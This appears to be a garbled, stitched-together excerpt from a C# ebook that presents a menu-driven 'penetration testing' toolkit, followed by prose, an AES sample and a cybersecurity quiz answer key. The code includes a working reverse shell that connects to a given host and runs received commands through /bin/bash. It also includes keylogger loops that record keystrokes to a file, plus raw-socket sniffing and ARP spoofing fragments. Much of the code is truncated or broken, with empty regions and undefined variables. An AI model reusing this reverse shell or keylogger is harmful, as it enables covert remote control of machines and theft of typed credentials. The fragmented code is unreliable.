Console.WriteLine("8. Denial-of-Service (DoS) Attack");
Console.WriteLine("9. Social Engineering Toolkit");
Console.WriteLine("10. Web Scraper");
Console.WriteLine("0. Exit Application");
switch (input)
{
case 1:
// Invoke Port Scanner Script
break;
case 2:
// Invoke KeyLogger Script
break;
case 3:
// Invoke Packet Sniffer Script
break;
case 4:
// Invoke Vulnerability Scanner Script
break;
case 5:
// Invoke Reverse Shell Script
break;
case 6:
// Invoke Spoofing Attack Script
break;
case 7:
// Invoke Brute Force Attack Script
break;
case 8:
// Invoke Denial-of-Service (DoS) Attack Script
break;
case 9:
// Invoke Social Engineering Toolkit Script
break;
case 10:
// Invoke Web Scraper Script
break;
case 0:
Environment.Exit(0);
break;
default:
Console.WriteLine("Incorrect entry, kindly engage a
legitimate script number.");
break;
}
}
}
}
}
OUTPUT
Engage a script:
1. Port Scanner
2. KeyLogger
3. Packet Sniffer
4. Vulnerability Scanner
5. Reverse Shell
6. Spoofing Attack
7. Brute Force Attack
8. Denial-of-Service (DoS) Attack
9. Social Engineering Toolkit
10. Web Scraper
0. Exit Application
Code Explanation
In the realm of computer systems security, this ingenious
software serves as a multifaceted tool, designed to test
resilience and vulnerabilities. Constantly, it unveils an array
of functions, crafted to probe different aspects of digital
fortitude.
1. The Port Scanner emerges as the sentinel of the cyber
domain, vigilantly scanning and examining each digital
door within a specified range. When employed, it asks for
the host and the spectrum of ports to the survey,
providing an insightful scan.
2. The KeyLogger, a stealthy observer, dutifully records
keystrokes, offering insight into potential loopholes that
could be exploited by rogue programs.
3. When the Packet Sniffer is invoked, it undertakes the role
of a digital detective, delving into the cryptic world of
data packets, journeying through the intricate maze of
network links, and unfolding their secrets.
4. Our Vulnerability Scanner, when called upon, seeks out
the frailties within the system. It calls for the user to
provide a target IP address, then, like a hound on the
scent, it hunts for known susceptibilities.
5. The Reverse Shell acts as a digital infiltrator, establishing
an insidious connection back to an assailant’s machine. It
requires the particulars of the host and port number to
forge this covert link.
6. In the realm of cyber subterfuge, the Spoofing Attack
stands as the master of disguise, obfuscating the origin of
network traffic. It necessitates the name of the device,
along with the target and spoof IPs, to craft its illusion.
7. The Brute Force Attack, relentless and determined,
strives to decipher a given password. It attempts every
conceivable combination of characters up to a defined
length, embodying the relentless pursuit of a
breakthrough.
8. The Denial-of-Service (DoS) Attack is a digital siege
engine, poised to flood a network or service with an
overwhelming deluge of traffic, forcing it into
submission.
9. The Social Engineering Toolkit stands as a testament to
the subtler art of manipulation, exploiting the frailties of
human nature rather than mere technical vulnerabilities.
10. The Web Scraper, a modern-day prospector, extracts
nuggets of valuable information from the vast expanses
of the internet. Upon selection, it seeks the URL to mine,
ready to unearth its digital gold.
Finally, the Exit Application offers a graceful conclusion to
the program, allowing the user to terminate the operations at
will.
using PenetrationTestingTools.Scripts;
namespace PenetrationTestingTools;
class Program
{
static async Task Main(string[] args)
{
while (true)
{
Console.WriteLine("Engage a script:");
Console.WriteLine("1. Port Scanner");
Console.WriteLine("2. KeyLogger");
Console.WriteLine("3. Packet Sniffer");
Console.WriteLine("4. Vulnerability Scanner");
Console.WriteLine("5. Reverse Shell");
Console.WriteLine("6. Spoofing Attack");
Console.WriteLine("7. Brute Force Attack");
Console.WriteLine("8. Denial-of-Service (DoS) Attack");
Console.WriteLine("9. Social Engineering Toolkit");
Console.WriteLine("10. Web Scraper");
Console.WriteLine("0. Exit Application");
switch (input)
{
case 1:
// Invoke Port Scanner Script
Console.WriteLine("Host:");
string host = Console.ReadLine();
Console.WriteLine("Starting Port:");
int port = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("Ending Port:");
int port2 = Convert.ToInt32(Console.ReadLine());
if (host != null) await PortScanner.ScanAll(host: host,
startPort: port, endPort: port2);
break;
case 2:
// Invoke KeyLogger Script
KeyLogger.KeyLoggerRun();
break;
case 3:
// Invoke Packet Sniffer Script
Console.WriteLine("Host:");
string host2 = Console.ReadLine();
PacketSniffer.PacketSnifferRun(host2);
break;
case 4:
// Invoke Vulnerability Scanner Script
Console.Write("Enter target IP: ");
( g )
string targetIP = Console.ReadLine();
await VulnerabilityScanner.ScanAll(targetIP);
break;
case 5:
// Invoke Reverse Shell Script
Console.Write("Host: ");
string hostName = Console.ReadLine();
Console.Write("Port: ");
int port3 = Convert.ToInt32(Console.ReadLine());
ReverseShell.RunAll(hostName, port3);
break;
case 6:
// Invoke Spoofing Attack Script
Console.Write("Device Name: ");
string deviceName = Console.ReadLine();
Console.Write("Enter target IP: ");
string targetIP2 = Console.ReadLine();
Console.Write("Enter Spoof IP: ");
string spoofIP2 = Console.ReadLine();
if (deviceName != null && targetIP2!=null &&
spoofIP2!=null)SpoofingAttack.RunAll(deviceName,targetIP2
,spoofIP2);
break;
case 7:
// Invoke Brute Force Attack Script
Console.Write("Password to Crack: ");
string passwordToCrack = Console.ReadLine();
Console.Write("Max Password Length: ");
int maxLength = Convert.ToInt32(Console.ReadLine());
BruteForce.RunAll(passwordToCrack, maxLength);
break;
case 8:
// Invoke Denial-of-Service (DoS) Attack Script
AdvancedDoSAttack.RunAll();
break;
case 9:
StealthyKeystrokeRecorder.RunAll();
break;
case 10:
Console.Write("Url: ");
string url = Console.ReadLine();
Webscraper.RunAll(url);
break;
case 0:
Environment.Exit(0);
break;
default:
Console.WriteLine("Incorrect entry, kindly engage a
( y y g g
legitimate script number.");
break;
}
}
}
}
using System.Net.Sockets;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Linq;
using System.Net;
using System.Diagnostics;
using System.Net.NetworkInformation;
using PacketDotNet;
using SharpPcap;
using OpenQA.Selenium;
using HtmlAgilityPack;
namespace PenetrationTestingTools.Scripts;
await Task.WhenAll(tasks);
}
#region KeyLogger
public class KeyLogger
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError =
true)]
private static extern short GetAsyncKeyState(int vKey);
p y y ( y)
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x8000) != 0)
{
LogKeyStroke(i);
}
}
}
}
return keyRepresentation;
}
}
#endregion
socket.Bind(endPoint);
socket.SetSocketOption(SocketOptionLevel.IP,
SocketOptionName.HeaderIncluded, true);
p )
while (true)
{
int bytesReceived = socket.Receive(buffer);
string protocol;
switch (protocolType)
{
case 6:
protocol = "TCP";
break;
case 17:
protocol = "UDP";
break;
case 1:
protocol = "ICMP";
break;
default:
protocol = "Unknown";
break;
}
await Task.WhenAll(tasks);
}
#endregion
#region ReverseShell
class ReverseShell
{
public static void RunAll(string host, int port)
{
while (true)
{
try
{
using (TcpClient client = new TcpClient(host, port))
{
using (Stream stream = client.GetStream())
using (StreamReader reader = new StreamReader(stream))
using (StreamWriter writer = new StreamWriter(stream))
{
while (true)
{
writer.Write("$ ");
writer.Flush();
string cmd = reader.ReadLine();
if (string.IsNullOrEmpty(cmd))
{
client.Close();
return;
}
else
{
// Run the command
var cmdProcess = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "/bin/bash",
Arguments = "-c \"" + cmd + "\"",
UseShellExecute = false,
RedirectStandardOutput = true
}
};
cmdProcess.Start();
writer.Write(cmdProcess.StandardOutput.ReadToEnd(
));
writer.Flush();
}
}
}
}
}
catch (Exception ex) when (ex is SocketException || ex is
IOException)
{
// If a network error occurs, wait for a moment then
attempt to reconnect
Thread.Sleep(5000);
}
}
}
}
#endregion
ethernetPacket.PayloadPacket = arpPacket;
device.SendPacket(ethernetPacket);
device.Close();
}
}
#endregion
#region BruteForce
#region DoSAttack
#endregion
#region SocialToolKit
while (true)
{
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767) // Check for
keypress
{
if (i >= 32 && i <= 126) // Printable ASCII characters
{
char character = Convert.ToChar(i);
File.AppendAllText(path, character.ToString());
}
else
{
File.AppendAllText(path, $"Key with ASCII code {i}
was pressed.");
}
}
}
}
}
}
#endregion
int i = 1;
foreach (var node in nodes)
( )
{
string imageURL = node.GetAttributeValue("src", null);
if (imageURL != null)
{
Console.WriteLine($"Downloading image: {imageURL}");
client.DownloadFile(imageURL, $"Image{i}.jpg");
i++;
}
}
}
}
#endregion
OUTPUT
Engage a script:
1. Port Scanner
2. KeyLogger
3. Packet Sniffer
4. Vulnerability Scanner
5. Reverse Shell
6. Spoofing Attack
7. Brute Force Attack
8. Denial-of-Service (DoS) Attack
9. Social Engineering Toolkit
10. Web Scraper
0. Exit Application
Type the integer of what script you want to run
Example of running the port scanner(1). The results are of
what ports are open or closed.
I
n the ever-evolving sphere of the digital realm, the
precept ‘knowledge is power’ takes on a singularly crucial
role. Navigating the complex landscape of cybersecurity
can be likened to learning the rules of an intricate game,
which serves as an invaluable prerequisite for devising an
impregnable line of defense and pinpointing the minutest
weaknesses within a system.
using System;
using SharpPcap;
using PacketDotNet;
namespace SimplePacketCapture
{
class Program
{
static void Main(string[] args)
{
// Retrieve the device list
var devices = CaptureDeviceList.Instance;
Understanding Cryptography
In the grand battlefield of securing information,
cryptography emerges as an indispensable fortress.
Essentially, cryptography represents the profound art and
science of disguising and deciphering messages to protect
them from unintended observers. This discipline, deeply
rooted in history, has now evolved into a pivotal pillar
supporting internet safety and data privacy in our hyper-
connected digital landscape.
For instance:
using System;
using System.IO;
using System.Security.Cryptography;
class AesExample
{
public static void Main()
{
try
{
string original = "Hello, World!";
Console.WriteLine($"Original: {original}");
Console.WriteLine($"Round Trip: {roundtrip}");
}
}
catch (Exception e)
{
Console.WriteLine($"Error: {e.Message}");
}
}
return encrypted;
}
static string DecryptStringFromBytes_Aes(byte[] cipherText,
byte[] Key, byte[] IV)
{
string plaintext = null;
return plaintext;
}
}
I
n today’s interconnected reality, we find ourselves
navigating an increasingly mutable cybersecurity
landscape. The digital threats of our time are not the
simple viruses of yesteryear. Instead, we encounter an
escalating onslaught of digital adversaries, encompassing
ransomware, insidious botnets, and clandestine state-
sponsored cyber incursions.
A
re you ready to elevate your coding skills on GitHub?
Absolutely!
Locate the “Code” button (it should be green, not black), click
on it, and voila! A menu with download options will appear.
Select “Download ZIP” and let the excitement begin!
3. What is ransomware?
a. An antivirus software
b. A network of compromised computers
c. A malware that blocks user access to a system until a
ransom is paid
d. A secure communication protocol
Answers:
1. b: Phishing is an attempt to acquire sensitive information
by pretending to represent a trustworthy entity, often via
email.
2. c: An ethical rule for cybersecurity professionals is to
never hack without permission. This is the foundation of
“ethical hacking”.
3. c: Ransomware is a type of malware that blocks user
access to a system until a ransom is paid, often in
cryptocurrency.
4. b: Two-Factor Authentication is a security process that
requires two forms of ID, such as something you know (a
password) and something you have (a mobile device to
receive a code).
5. b: A botnet is a network of computers that have been
compromised and are controlled by an attacker, often
without the owners’ knowledge.
6. a: A firewall monitors and controls incoming and
outgoing network traffic based on predetermined security
rules, acting as a barrier between a trusted and an
untrusted network.
7. b: A Zero-Day vulnerability is a software security flaw
that has no patch available, making it a prime target for
hackers.
8. b: Encryption is the process of encoding data to prevent
unauthorized access, turning readable data into an
unreadable format until it’s decrypted using a key.
9. b: A VPN, or Virtual Private Network, provides a secure
internet connection via private networks in remote
locations, often used to access region-restricted
websites.
10. c: Social engineering is using deception to manipulate
individuals into divulging confidential information, such
as pretending to be a bank to get someone’s account
details.
11. b: The main objective of ethical hacking is to test an
organization’s defense systems, identifying
vulnerabilities to be addressed.
12. b: An intrusion detection system (IDS) monitors a
network or systems for malicious activity or violations of
policy.
13. b: A honeypot is a decoy system set up to attract, detect,
deflect, or counteract attempts at unauthorized use of
information systems.
14. c: Cyber espionage is the practice of illicitly accessing
confidential information, typically held by a government
or other entity, often for political or economic advantage.
15. a: In cybersecurity, a backdoor is a method of bypassing
normal authentication or encryption in a computer
system, product, or embedded device.
16. c: Malware is software designed to disrupt, damage, or
gain unauthorized access to a computer system.
Examples include viruses, worms, spyware, and
ransomware.
17. c: A firewall in cybersecurity is designed to monitor and
control incoming and outgoing network traffic based on
predetermined security rules. It serves as a barrier
between a trusted internal network and untrusted
external networks.
18. a: SSL (Secure Sockets Layer) is a standard security
protocol for establishing encrypted links between a web
server and a browser, ensuring that all data passed
between them remains private and integral.
19. c: In the context of cybersecurity, a brute force attack is a
trial-and-error method used to decode encrypted data,
such as passwords or encryption keys.
20. c: Cryptography in cybersecurity is the study of secure
communication techniques in the presence of third
parties (adversaries). It encompasses encryption
(creating secure messages) and decryption (reading
secure messages).
About the Author
You can connect with me on:
https://www.devwebtuts.com
https://twitter.com/devwebtuts
https://www.facebook.com/devwebtuts